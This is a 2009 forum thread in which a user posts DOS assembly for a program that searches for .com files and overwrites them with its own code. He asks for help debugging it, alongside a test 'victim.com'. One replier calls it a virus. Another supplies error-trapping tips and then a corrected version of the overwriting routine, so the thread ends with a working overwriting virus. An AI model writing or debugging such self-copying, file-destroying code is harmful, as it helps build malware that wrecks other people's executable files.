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hello
February 15th, 2009, 06:09
There are 2 files hello.exe and a second one named victim.com. The former, when run is supposed to searchFirst, locate a .com file, open it and overwrite it. But, proceedings don’t move in that anticipated course..There must be some bugs exist in code.. Error trapping ?? ..
i was not able to pin down the source of error. The code for first one is as:

Code:
; hello.exe

hello segment

assume cs:hello,ds:hello

org 100h



startt proc near

;SRH

mov ah,4Eh

mov cx,0h

mov dx,offset fileType

int 21h



;OPN

mov ax,3D01h

mov dx,9Eh         ; how to view DTA ??

int 21h



;WRT           

xchg bx,ax   ; handle saved in register 

mov ah,40h

mov cx,offset endd-offset startt

mov dx,offset startt

int 21h



;CLS

mov ah,3Eh

int 21h



;back

mov ax,4c00h

int 21h

;

startt endp

fileType    db "*.com",0

;

endd label near

;

hello ends

end startt



- - - - - - - - -

And the second one is: 

;victim.com

.model tiny

.code

org 100h

;

start:

mov dx,offset comfile

mov ah,9h

int 21h

;

mov ax,4c00h

int 21h

comfile  db  " iam a still living .com $"

end start

May I look forward to some useful information pertinent to the situation?
Thank you.
esther
February 15th, 2009, 06:34
tbh,you are writing a virus ,doubt anyone will help you
hello
February 15th, 2009, 06:39
LOL
jackall
February 15th, 2009, 14:22
yes..try to trap the error.
iam not sure of it, may be you could use carry flag to get a little closer to the area of error. if the search function succeeds , carry flag is clear else it is set.
for example:

Code:
jc error

- - -

- - -

error:

mov dx,msg

mov ah,09h

int 21h



msg  DB  "search failed to locate the specified file extension $"


hope this helps.....
jackall
February 22nd, 2009, 13:10
may be you are looking for something like this:
Code:
threes segment

assume cs:threes,ds:threes

org 100h

;

first:

mov ah,4eh

xor cx,cx

mov dx,offset file

int 21h

;

mov ax,3d02h 

mov dx,9eh

int 21h

xchg bx,ax

;

mov ah,40h

mov dx,offset first

mov cx,offset last - offset first

int 21h

;

mov ah,3eh

int 21h

int 20h

;

file  db '*.com',0

last:

threes ends

end first

...